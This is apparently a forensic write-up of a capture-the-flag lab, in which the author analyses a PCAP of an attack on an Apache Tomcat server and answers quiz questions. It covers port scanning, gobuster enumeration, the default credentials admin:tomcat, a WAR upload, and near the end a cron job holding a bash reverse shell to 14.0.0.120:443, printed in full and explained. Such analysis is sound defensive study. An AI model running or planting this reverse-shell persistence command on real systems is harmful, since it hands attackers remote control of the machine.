# Tomcat Takeover

## Scenario

The SOC team has identified suspicious activity on one of the company’s web servers, prompting an investigation into the potential compromise. A PCAP file containing network traffic data has been captured to assist in analyzing the intrusion. The investigation revealed a series of scanning attempts, followed by directory enumeration and brute-force login attempts on the Apache Tomcat web server’s administrative interface.

## Incident Walkthrough

Before conducting any investigation, we need to gather information first.\
Since we have a PCAP file, we can use Wireshark to analyze it by checking the Protocol Hierarchy and Conversations

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2F2kM4KOjNzU6qEz8YSsnP%2FPasted%20image%2020240928225101.png?alt=media&#x26;token=b72e8961-f546-49e4-b01a-6abe03ecc001" alt=""><figcaption><p><strong>Protocol Hierarchy</strong></p></figcaption></figure>

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FC49Rzs7SQRtpHZqQpijL%2FPasted%20image%2020240928225255.png?alt=media&#x26;token=87f55e25-3cc2-4818-806b-530136a73260" alt=""><figcaption><p><strong>Conversations</strong></p></figcaption></figure>

We can observe a significant amount of TCP traffic across various ports, which could indicate port scanning. Additionally, if port scanning is occurring, it usually involves numerous packets. The IP address `14.0.0.120` shows a particularly high number of packets, which supports this suspicion so let's check this IP.

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2F0rcw8XIelAkTPlXx2NnO%2FPasted%20image%2020240928225714.png?alt=media&#x26;token=aefd3294-63c0-4b7a-ac94-f6dcf84263dd" alt=""><figcaption><p>Port Scan</p></figcaption></figure>

Indeed, this IP address is actively performing a port scan.

```
1- Given the suspicious activity detected on the web server, the pcap analysis shows a series of requests across various ports, suggesting a potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

Answer: 14.0.0.120
```

To determine how many ports it has discovered, we can use the following query:

```
tcp.flags.ack==1  && tcp.flags.syn==1 &&ip.addr==14.0.0.120
```

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2Fcabb51rdrPGzOz1oHAno%2FPasted%20image%2020240928230704.png?alt=media&#x26;token=2003c545-3055-4e15-b6af-68f624fbb4e2" alt=""><figcaption><p>Open Ports</p></figcaption></figure>

It has discovered three open ports:

1. **Port 22** – SSH
2. **Port 8009** – AJP (Apache AJP Proxy)
3. **Port 8080** – Alternative HTTP port

According to Google, Tomcat typically uses:

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FwCg3kR7IZEp8tLOlOhW1%2FPasted%20image%2020240928230915.png?alt=media&#x26;token=9c689cb3-5046-42ce-a9f7-66029fde23d1" alt=""><figcaption></figcaption></figure>

After identifying the IP address, we need to determine the origin of the attack. We can use a website called: [iplocation](https://www.iplocation.net/)

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2Fbz1NIFQeYpY01i0Q3I9m%2FPasted%20image%2020240928225909.png?alt=media&#x26;token=4a06609f-fe4f-40be-9f70-70aeef2b1d97" alt=""><figcaption><p>IP Location</p></figcaption></figure>

```
2- Based on the identified IP address associated with the attacker, can you ascertain the city from which the attacker's activities originated?  

Answer: Guangzhou
```

After identifying the attacker's IP and the ports, we need to track their activity on the ports discovered during the scan. The attacker has initiated communication with port 8080.

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FnPQt3ntXgjDbzZ4UltCl%2FPasted%20image%2020240929070703.png?alt=media&#x26;token=3c38853d-52e4-4ef7-8646-b0ccddae50cd" alt=""><figcaption><p>URI Brute-Forcing</p></figcaption></figure>

We can observe that the attacker has started using [gobuster](https://github.com/OJ/gobuster) a tool for brute-forcing URIs (directories and files) on web servers, as well as DNS subdomains and virtual hosts.

```
4- Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?

Answer: gobuster
```

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FvTjjnMrETlpd2ElLbhEJ%2FPasted%20image%2020240929071505.png?alt=media&#x26;token=5939e62e-ea4c-4af1-a404-9a4238506d78" alt=""><figcaption><p><strong>401 Unauthorized</strong></p></figcaption></figure>

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FkFgw9RgCSG6ilFwVTu2P%2FPasted%20image%2020240929072151.png?alt=media&#x26;token=9bf1e614-e84c-4cb6-8df7-6154b9406451" alt=""><figcaption><p><strong>401 Unauthorized</strong></p></figcaption></figure>

We can see that the attacker encountered a **401 Unauthorized** error, indicating that they need privileges to access this page.

```
3- From the pcap analysis, multiple open ports were detected as a result of the attacker's activitie scan. Which of these ports provides access to the web server admin panel?

Answer: 8080
```

```
5- Subsequent to their efforts to enumerate directories on our web server, the attacker made numerous requests trying to identify administrative interfaces. Which specific directory associated with the admin panel was the attacker able to uncover?

Answer: /manager
```

Once the attacker identified the admin panel, they began performing a brute force attack. Unfortunately, the server was using default credentials.

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2Fg0kKbc9lS28Px0cEB22l%2FPasted%20image%2020240929073415.png?alt=media&#x26;token=3560bca6-418d-4cab-a3af-d893747de12b" alt=""><figcaption><p>Credentials Used</p></figcaption></figure>

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FQPJMf88tLgcVwPEDv27d%2FPasted%20image%2020240929073601.png?alt=media&#x26;token=1329f1f0-a123-468f-80d9-38443b6a100a" alt=""><figcaption><p>Default Credentials</p></figcaption></figure>

```
6- Upon accessing the admin panel, the attacker made attempts to brute-force the login credentials. From the data, can you identify the correct username and password combination that the attacker successfully used for authorization?

Answer: admin:tomcat
```

After accessing the admin panel, the attacker downloaded a file named `JXQOZY.war`.

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FoCxpDQGmr9tW3viFlvkQ%2FPasted%20image%2020240929073817.png?alt=media&#x26;token=f98c5d17-15fb-46a5-8bb3-7ed84c6b22aa" alt=""><figcaption><p>File Upload</p></figcaption></figure>

```
7- Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

Answer: JXQOZY.war
```

<figure><img src="https://2122294425-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FON2foTmr6vIov16q878q%2Fuploads%2FDKLsUX8G6eF3oKZGCu8U%2FPasted%20image%2020240929074454.png?alt=media&#x26;token=3225faa6-16c0-4ee8-8eb8-a8537f47839e" alt=""><figcaption><p>Adding a Cron Job</p></figcaption></figure>

The file turned out to be a reverse shell, and the attacker executed commands such as `whoami`, `cd`, and `pwd`. Notably, they added a cron job using `crontab`.

**`crontab`** is a command used to schedule tasks in Unix-like operating systems, and these tasks are known as **cron jobs**. The cron job is set to run every minute (`* * * * *`) and executes a reverse shell command:

```bash
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
```

* **`/bin/bash -c`**: Executes a command.
  * **`'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'`**: Establishes a reverse shell connection to the IP `14.0.0.120` on port `443`.
    * **`bash -i`**: Starts an interactive bash shell.
    * **`>& /dev/tcp/14.0.0.120/443`**: Redirects both stdout (`>&`) and stderr to the target IP and port.
    * **`0>&1`**: Redirects stdin from the same connection.
* **`crontab -i cron`**: Installs the cron job from the file `cron`. The `-i` option prompts for confirmation before overwriting an existing crontab.
* **`crontab -l`**: Lists the active cron jobs, confirming that the reverse shell job has been successfully installed.

```
8- Upon successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?

Answer: /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
```

I hope you enjoyed :)
